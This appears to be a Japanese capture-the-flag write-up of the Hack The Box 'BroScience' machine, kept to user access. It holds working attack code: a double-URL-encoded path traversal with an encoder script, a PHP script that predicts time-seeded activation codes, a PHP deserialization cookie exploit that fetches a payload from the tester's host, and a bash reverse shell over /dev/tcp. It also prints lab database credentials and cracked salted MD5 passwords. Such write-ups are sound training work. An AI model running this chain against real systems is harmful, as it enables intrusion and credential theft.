【Hack The Box】BroScience【WriteUp】

# 初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は ___Hack The Box___(以下リンク参照) の「___BroScience___」にチャレンジした際の ___WriteUp___ になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

___※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。___

https://www.hackthebox.com/

# Discovery
## ポートスキャン
今回はRustScanで高速スキャンしてみた。

```bash
┌──(root💀kali)-[~]
└─# rustscan -a 10.10.11.195 --top --ulimit 10000 
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
😵 https://admin.tryhackme.com

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 10000.
Open 10.10.11.195:22
Open 10.10.11.195:80
Open 10.10.11.195:443
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.91 ( https://nmap.org ) at 2023-01-15 10:21 JST
Initiating Ping Scan at 10:21
Scanning 10.10.11.195 [4 ports]
Completed Ping Scan at 10:21, 0.30s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 10:21
Completed Parallel DNS resolution of 1 host. at 10:21, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 10:21
Scanning 10.10.11.195 [3 ports]
Discovered open port 443/tcp on 10.10.11.195
Discovered open port 22/tcp on 10.10.11.195
Discovered open port 80/tcp on 10.10.11.195
Completed SYN Stealth Scan at 10:21, 0.30s elapsed (3 total ports)
Nmap scan report for 10.10.11.195
Host is up, received echo-reply ttl 63 (0.26s latency).
Scanned at 2023-01-15 10:21:05 JST for 0s

PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
80/tcp  open  http    syn-ack ttl 63
443/tcp open  https   syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.71 seconds
           Raw packets sent: 7 (284B) | Rcvd: 4 (160B)
```
ポート22、80、443が公開されてそう。
実際に80にアクセスしてみると、「broscience.htb」にアクセスできませんと言われるのでDNSの設定を投入していく。

# Collection
## ドメイン環境設定
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにしておく。
```bash
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts   
```
以下を投入。
```bash
10.10.11.195    broscience.htb
```
疎通確認を行う。
```bash
┌──(root💀kali)-[~]
└─# ping broscience.htb
PING broscience.htb (10.10.11.195) 56(84) bytes of data.
64 bytes from broscience.htb (10.10.11.195): icmp_seq=1 ttl=63 time=269 ms
64 bytes from broscience.htb (10.10.11.195): icmp_seq=2 ttl=63 time=274 ms
64 bytes from broscience.htb (10.10.11.195): icmp_seq=3 ttl=63 time=269 ms
64 bytes from broscience.htb (10.10.11.195): icmp_seq=4 ttl=63 time=270 ms
64 bytes from broscience.htb (10.10.11.195): icmp_seq=5 ttl=63 time=271 ms
64 bytes from broscience.htb (10.10.11.195): icmp_seq=6 ttl=63 time=269 ms
^C
--- broscience.htb ping statistics ---
7 packets transmitted, 6 received, 14.2857% packet loss, time 6017ms
rtt min/avg/max/mdev = 268.602/270.428/274.225/1.911 ms
```

## サイト探索
### Subdomain探索
以下サイトからサブドメインのリストをダウンロード

https://github.com/danielmiessler/SecLists

```bash
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
```
`ffuf`で探索。301でリダイレクトされていることがわかったので弾く。
```bash
──(root💀kali)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u https://broscience.htb/ -H "HOST: FUZZ.broscience.htb" -fs 9308,1159 -fc 301 -mc all -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://broscience.htb/
 :: Wordlist         : FUZZ: ./bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.broscience.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: all
 :: Filter           : Response status: 301
 :: Filter           : Response size: 9308,1159
________________________________________________
```
いい結果は出てこない。

### ディレクトリ探索
`dirsearch`を使用して探索を実施。

```bash
┌──(root💀kali)-[~]
└─# dirsearch -u http://broscience.htb/ 

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/broscience.htb/-_23-01-15_10-47-41.txt

Error Log: /root/.dirsearch/logs/errors-23-01-15_10-47-41.log

Target: http://broscience.htb/

[10:47:42] Starting: 
[10:48:49] 301 -  362B  - /Citrix//AccessPlatform/auth/clientscripts/cookies.js  ->  https://broscience.htb/Citrix/AccessPlatform/auth/clientscripts/cookies.js
[10:50:15] 301 -  352B  - /engine/classes/swfupload//swfupload_f9.swf  ->  https://broscience.htb/engine/classes/swfupload/swfupload_f9.swf
[10:50:15] 301 -  349B  - /engine/classes/swfupload//swfupload.swf  ->  https://broscience.htb/engine/classes/swfupload/swfupload.swf
[10:50:17] 301 -  359B  - /examples/jsp/%252e%252e/%252e%252e/manager/html/  ->  https://broscience.htb/examples/jsp/%252e%252e/%252e%252e/manager/html/
[10:50:18] 301 -  337B  - /extjs/resources//charts.swf  ->  https://broscience.htb/extjs/resources/charts.swf
[10:50:27] 301 -  347B  - /html/js/misc/swfupload//swfupload.swf  ->  https://broscience.htb/html/js/misc/swfupload/swfupload.swf
                                                                            
Task Completed
```
いいものなし。`ffuf`でやってみるか。
サブドメインリストを引っ張ってきたサイトからWebコンテンツリストを持ってくる。
```bash
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-small.txt
```
```bash
┌──(root💀kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u https://broscience.htb/FUZZ -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://broscience.htb/FUZZ
 :: Wordlist         : FUZZ: ./directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

images                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 409ms]
includes                [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 493ms]
manual                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 282ms]
javascript              [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 325ms]
styles                  [Status: 301, Size: 319, Words: 20, Lines: 10, Duration: 337ms]
                        [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 1962ms]
:: Progress: [87664/87664] :: Job [1/1] :: 211 req/sec :: Duration: [0:22:31] :: Errors: 1373 ::
```
いいのがちょこちょこ出てきた。それぞれの階層へアクセスしてみる。
まずは「manual」へ。
![2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d9abfccf-190a-2ba5-f00d-7cd9fec65dec.png)
続いて「images」
![4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/ac1bae9e-bb26-9a43-dd8a-2426b57051e3.png)
続いて「includes」
![1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/f7f814ea-1ef5-828b-a11e-f6cb0baee25f.png)
面白そうなPHPファイルがいっぱいあるので、とりあえずアクセスしてみる。
![3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/df5aebea-0a27-6a98-49be-05eef7387a9d.png)
そうすると、上記の「img.php」で内部エラーのようなレスポンスが帰ってきた。
`path`がないだって！？
それではimagesのそれぞれの画像を`?path=`で飛ばしてみる。そうすると`200OK`が帰ってくる。
トラバーサルできるのでは？？？

...トラバーサルを試す前にPHPを使っているサイトという事なので、トップ直下にどういったファイルがあるのかを`.php`でファイジングしておく。

```bash
┌──(root💀kali)-[~/work]
└─# ffuf -w ./directory-list-2.3-small.txt:FUZZ -u https://broscience.htb/FUZZ.php -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://broscience.htb/FUZZ.php
 :: Wordlist         : FUZZ: ./directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________

# directory-list-2.3-small.txt [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 294ms]
# Copyright 2007 James Fisher [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 298ms]
#                       [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 306ms]
# This work is licensed under the Creative Commons [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 316ms]
# Attribution-Share Alike 3.0 License. To view a copy of this [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 317ms]
#                       [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 321ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 321ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 323ms]
# or send a letter to Creative Commons, 171 Second Street, [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 325ms]
#                       [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 292ms]
# Priority-ordered case-sensitive list, where entries were found [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 291ms]
# on at least 3 different hosts [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 281ms]
                        [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 267ms]
#                       [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 276ms]
index                   [Status: 200, Size: 9308, Words: 3953, Lines: 147, Duration: 288ms]
login                   [Status: 200, Size: 1936, Words: 567, Lines: 42, Duration: 273ms]
register                [Status: 200, Size: 2161, Words: 635, Lines: 45, Duration: 317ms]
user                    [Status: 200, Size: 1309, Words: 300, Lines: 29, Duration: 313ms]
comment                 [Status: 302, Size: 13, Words: 3, Lines: 1, Duration: 271ms]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 271ms]
activate                [Status: 200, Size: 1256, Words: 293, Lines: 28, Duration: 409ms]
exercise                [Status: 200, Size: 1322, Words: 301, Lines: 28, Duration: 471ms]
                        [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 442ms]
:: Progress: [87664/87664] :: Job [1/1] :: 155 req/sec :: Duration: [0:09:34] :: Errors: 0 ::
```
`login`ページや`register`ページ、`user`ページがあるのは見えていたのだが、`activate`のページがあるのは見えていなかった。何かをアクティベーションするのかもしれないので心に留めておく。

# Initial Access
## ディレクトリトラバーサル
ディレクトリトラバーサル用のリストを以下サイトからダウンロードしてくる。

https://github.com/swisskyrepo/PayloadsAllTheThings

```bash
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/Directory%20Traversal/Intruder/directory_traversal.txt
```
ディレクトリトラバーサル実施。`path`に叩き込む。
```bash
┌──(root💀kali)-[~/work]
└─# ffuf -w ./directory_traversal.txt:FUZZ -u https://broscience.htb/includes/img.php?path=FUZZ -t 100 -fs 0,30

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.5.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : https://broscience.htb/includes/img.php?path=FUZZ
 :: Wordlist         : FUZZ: ./directory_traversal.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 0,30
________________________________________________

%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34 [Status: 200, Size: 2235, Words: 26, Lines: 40, Duration: 273ms]
%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34 [Status: 200, Size: 2235, Words: 26, Lines: 40, Duration: 274ms]
:: Progress: [140/140] :: Job [1/1] :: 38 req/sec :: Duration: [0:00:04] :: Errors: 0 ::
```
引っかかったのでディレクトリトラバーサルの脆弱性があることが分かった。
このペイロードはユニコードのHEX値をいじくるURLエンコードを２回しているペイロードで、以下のCyberChefを使用すれば比較的簡単に理解できる。

https://gchq.github.io/CyberChef/

このペイロードのレスポンスを確認すると、以下のように帰ってくる。
![5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/3d231920-67b3-7e0f-a07a-960653d241df.png)
「/etc/passwd」が見えるのでこの部分を「/home/bill/.ssh/id_rsa」の階層で試してみる。
そのために簡易的なURLエンコードスクリプトを作成した。

```python:encode.py
import sys

def doubleEncode(string):

    urlencode_first = ""
    urlencode_second = ""

    for character in string:
        decimal = ord(character)
        urlencode_first += "%" + hex(decimal)[2:]

    for character in urlencode_first:
        decimal = ord(character)
        urlencode_second += "%" + hex(decimal)[2:]

    return urlencode_second

tra = doubleEncode("../../../../")
file = doubleEncode(sys.argv[1])

print(tra+file)
```
此奴で試してみる。
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/da068eb2-8988-7a90-27dd-e8982e26ff7c.png)
ダメだった。Read権限とかないんじゃないかな？
それじゃ、見れそうなファイルを見ていくことにした。`/includes/`階層にあった各ファイルを取得していく。
「navbar.php」
![9.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6d6cd716-0b76-1e92-b25d-a9aaea6a8ac2.png)
「db_connect.php」
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/c086fa06-4ab9-448f-5f1e-05bed3706b27.png)
Passwordが乗ってたので試してみたが、これではログインできなかった。。。次を見る。
「utils.php」
![8.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/e23db4b9-62b7-07a4-c8a4-6a792aa7b09a.png)
`activate.php`に関しそうなコードが記載されている。もう少し此奴を詳細に分析する必要がありそうだ。
以下に内容を転記する。
```php:utils.php
<?php
function generate_activation_code() {
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
    srand(time());
    $activation_code = "";
    for ($i = 0; $i < 32; $i++) {
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
    }
    return $activation_code;
}

// Source: https://stackoverflow.com/a/4420773 (Slightly adapted)
function rel_time($from, $to = null) {
    $to = (($to === null) ? (time()) : ($to));
    $to = ((is_int($to)) ? ($to) : (strtotime($to)));
    $from = ((is_int($from)) ? ($from) : (strtotime($from)));

    $units = array
    (
        "year"   => 29030400, // seconds in a year   (12 months)
        "month"  => 2419200,  // seconds in a month  (4 weeks)
        "week"   => 604800,   // seconds in a week   (7 days)
        "day"    => 86400,    // seconds in a day    (24 hours)
        "hour"   => 3600,     // seconds in an hour  (60 minutes)
        "minute" => 60,       // seconds in a minute (60 seconds)
        "second" => 1         // 1 second
    );

    $diff = abs($from - $to);

    if ($diff < 1) {
        return "Just now";
    }

    $suffix = (($from > $to) ? ("from now") : ("ago"));

    $unitCount = 0;
    $output = "";

    foreach($units as $unit => $mult)
        if($diff >= $mult && $unitCount < 1) {
            $unitCount += 1;
            // $and = (($mult != 1) ? ("") : ("and "));
            $and = "";
            $output .= ", ".$and.intval($diff / $mult)." ".$unit.((intval($diff / $mult) == 1) ? ("") : ("s"));
            $diff -= intval($diff / $mult) * $mult;
        }

    $output .= " ".$suffix;
    $output = substr($output, strlen(", "));

    return $output;
}

class UserPrefs {
    public $theme;

    public function __construct($theme = "light") {
                $this->theme = $theme;
    }
}

function get_theme() {
    if (isset($_SESSION['id'])) {
        if (!isset($_COOKIE['user-prefs'])) {
            $up_cookie = base64_encode(serialize(new UserPrefs()));
            setcookie('user-prefs', $up_cookie);
        } else {
            $up_cookie = $_COOKIE['user-prefs'];
        }
        $up = unserialize(base64_decode($up_cookie));
        return $up->theme;
    } else {
        return "light";
    }
}

function get_theme_class($theme = null) {
    if (!isset($theme)) {
        $theme = get_theme();
    }
    if (strcmp($theme, "light")) {
        return "uk-light";
    } else {
        return "uk-dark";
    }
}

function set_theme($val) {
    if (isset($_SESSION['id'])) {
        setcookie('user-prefs',base64_encode(serialize(new UserPrefs($val))));
    }
}

class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp;
    public $imgPath; 

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}
?>
```
activation_codeを送信すればアクティベートが出来そう？？？`user-prefs`のクッキーの記述も見られるので、アクティブになれば此奴がついてくるのか？
アクセスしてみる。
![10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/d681bcf6-1d11-c6f6-9169-8d8c099bb36c.png)
ぽい。
`srand(time())`の部分をユーザ作成日時に指定すればコードを取得してユーザをアクティべーとできるのではと考える。
とりあえずユーザを作成後、どうやってコードを送ることが出来るのか試してみた。

## Activation
まずはURLのクエリ方式。それっぽいのを試してみる。
![11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/a7276826-07c8-29f8-6805-992bf2dc812d.png)
まずは失敗例。`a`クエリ。
![12.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/2d91b211-fa18-d27b-02ad-7a068782c97a.png)
続いて`activate_code`クエリ。
![13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/8e267a10-7c1f-eeb7-239c-b116514f6982.png)
続いて`code`クエリ。此奴がクエリで間違いなさそう。ここに`activate_code`を記載すれば行けそう。
`activate_code`を作成するために以下のコードを作成した。
```php:active.php
<?php                                                                                                                                                         <?php
    $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"; 
    srand(strtotime("Sun, 15 Jan 2023 05:22:34 GMT")); 
    $activation_code = ""; 
    for ($i = 0; $i < 32; $i++) { 
        $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)]; 
    } 
    echo $activation_code; 
?>
```
`srand`の部分をユーザ作成時のResponseの日時に設定した。
![17.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/0aa32151-7808-ae44-384b-06a9c682db19.png)

実行してみる。
```bash
┌──(root💀kali)-[~/work]
└─# php active.php
HQTqDxHtMQO6bmVdlycWf9R1k8aI0lXJ
```
これを`?code=`で飛ばしてみた。
![14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/9c8d2d7b-7d90-77de-c63b-eca255d725e3.png)
上手くアクティベートできたみたいだ。
クッキー`user-prefs`が作成されているか確認する。
![16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/6aa2af80-713a-e6cc-26c7-3c7155c9fcfc.png)
作られている。

さて...ここからどうするか...

# Persistence
## Exploit検討
とりあえず、`user-prefs`がどのように使われるか`utils.php`見てみると、Userのライトダークのテーマ選択に使われてそうである。
しかもクッキーを直接シリアライズして読み込んでいるのでここにExploitを打ち込めそうである。
更に`utils.php`を読み込んでみると興味深いクラスがあることを確認する。`Avator`と`AvatarInterface`だ。
これはおそらくだが、ユーザのアバター画像を取ってくるクラスと考えられる。`imagepath`を指定して直接取ってきているみたいだ。
....`file_get_contents`って..これ遠隔からURL指定で取ってこさせることできるのでは？？
ペイロードダウンロードさせることが出来るのでは？

というわけで、`Avator`と`AvatarInterface`をデシリアライズしてOverwriteします！！
クッキーに叩き込んでね！！

https://www.php.net/manual/ja/function.file-get-contents.php

## Reverseshell
リバースシェルの構成のために自身のIPを確認しておきます。
※この場合はtun0
```bash
┌──(root💀kali)-[~/work]
└─# ip a                                                                                                                                               1 ⨯
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever

...
11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
    link/none 
    inet 10.10.14.10/23 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 dead:beef:2::101a/64 scope global 
       valid_lft forever preferred_lft forever
    inet6 fe80::cf43:caa1:e355:737d/64 scope link stable-privacy 
       valid_lft forever preferred_lft forever
```
続いて`imagePath`で指定するリバースシェルを作成
```php:payload.php
<?php exec("bash -c 'bash -i >& /dev/tcp/10.10.14.10/4444 0<&1'");?>
```
上記を取ってきてほしいのでサーバを立ち上げておきます。
```bash
┌──(root💀kali)-[~/work]
└─# python3 -m http.server 80
```

`user-prefs`に叩き込むExploitを作成するために以下のPHPを作成
```php:exploit.php
<?php
class Avatar {
    public $imgPath;

    public function __construct($imgPath) {
        $this->imgPath = $imgPath;
    }

    public function save($tmp) {
        $f = fopen($this->imgPath, "w");
        fwrite($f, file_get_contents($tmp));
        fclose($f);
    }
}

class AvatarInterface {
    public $tmp = "http://10.10.14.10/payload.php";
    public $imgPath = "./payload.php";

    public function __wakeup() {
        $a = new Avatar($this->imgPath);
        $a->save($this->tmp);
    }
}

$payload = base64_encode(serialize(new AvatarInterface));
echo $payload;
?>
```
上記を実行し、クッキーに叩き込むExploitを作成
```bash
┌──(root💀kali)-[~/work]
└─# php exploit.php 
TzoxNToiQXZhdGFySW50ZXJmYWNlIjoyOntzOjM6InRtcCI7czozMDoiaHR0cDovLzEwLjEwLjE0LjEwL3BheWxvYWQucGhwIjtzOjc6ImltZ1BhdGgiO3M6MTM6Ii4vcGF5bG9hZC5waHAiO30= 
```
レッツ！！！Exploit！！！
![18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/01bc6135-0174-a5ea-4cd0-ccba136adf90.png)
上手くいきました。

後はリバースシェルを起動させるだけ、待ち受けを起動しておきます。
```bash
┌──(root💀kali)-[~/work]
└─# nc -lnvp 4444
```
対象のURL「./payload.php」へアクセスします。
![19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/7f065f79-b98a-25b9-fb28-32aa6adf1c6f.png)
きた！！！でもまだwww-dataの権限のみでUser権限は取れてないです。

# Credential Access
## PostgreSQL
既に気づいている人もいると思うが、DBのクレデンシャル情報がわかっているので、`psql`でアクセスしてみようと思う。
![20.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/31bdce67-2cb0-b926-6df3-8b28c5ca889f.png)
## Password Hash
色々とユーザ情報を確認できたので、このPassword情報の復元を試してみようと思う。
MD５なので以下サイトで実施。

https://hashtoolkit.com/

え...........
復元できない......
んなああんで...............

`John`でも一応確認するが、以下のように一緒である。

```bash
┌──(root💀kali)-[~/work]
└─# john -w:rockyou.txt hash.txt --format=Raw-md5
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2023-01-15 15:21) 0g/s 22066Kp/s 22066Kc/s 110333KC/s  fuckyooh21..*7¡Vamos!
Session completed
```

ここで数時間を要する。
ヒントがないかページのソースコードを漁っていると、`login.php`に以下のような記述を発見する。
```php:login.php
...
// Check if username:password is correct
$res = pg_prepare($db_conn, "login_query", 'SELECT id, username, is_activated::int, is_admin::int FROM users WHERE username=$1 AND password=$2');
$res = pg_execute($db_conn, "login_query", array($_POST['username'], md5($db_salt . $_POST['password'])));
...
```
`$db_salt`…これか…`db_connect.php`の内部にこれが記述されている。
```db_connect.php
<?php
$db_host = "localhost";
$db_port = "5432";
$db_name = "broscience";
$db_user = "dbuser";
$db_pass = "RangeOfMotion%777";
$db_salt = "NaCl";

$db_conn = pg_connect("host={$db_host} port={$db_port} dbname={$db_name} user={$db_user} password={$db_pass}");

if (!$db_conn) {
    die("<b>Error</b>: Unable to connect to database");
}
?>
```
これをパスワードの前に引っ付けてソルトってるわけだ。
ではリストファイルにも`NaCl`を引っ付けて再度回してみる。
```bash
┌──(root💀kali)-[~/work]
└─# sed 's/^/NaCl/' ./rockyou.txt > salt_rock.txt

┌──(root💀kali)-[~/work]
└─# john -w:salt_rock.txt hash.txt --format=Raw-md5 
Using default input encoding: UTF-8
Loaded 5 password hashes with no different salts (Raw-MD5 [MD5 128/128 SSE2 4x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
NaCliluvhorsesandgym (bill)
NaClAaronthehottest (dmytro)
NaCl2applesplus2apples (michael)
3g 0:00:00:00 DONE (2023-01-15 16:19) 3.947g/s 18872Kp/s 18872Kc/s 79155KC/s NaCl 08 22 0128..NaCl*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed
```
おっけい、でてきた。
`NaCl`を省いたやつでログインしてみる。
![21.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/cff2a21b-5de8-2494-7186-5ccdbb89c922.png)
ログイン成功！！！ユーザ権限奪取！！！

# まとめ
一般ユーザ権限までのWriteUPでした。
ちょっと書くの面倒になってきたのでここで終わろうかなとか思います。
特権昇格は`pspy`回してれば見つかると思うので、皆さん試してみて下さい！
見つけるまでが大変で、見つけた後はそのままシェル解析後、ペイロード打ち込むだけでOkです！

今回もセキュリティエンジニアの皆さんの助けになればなと思います。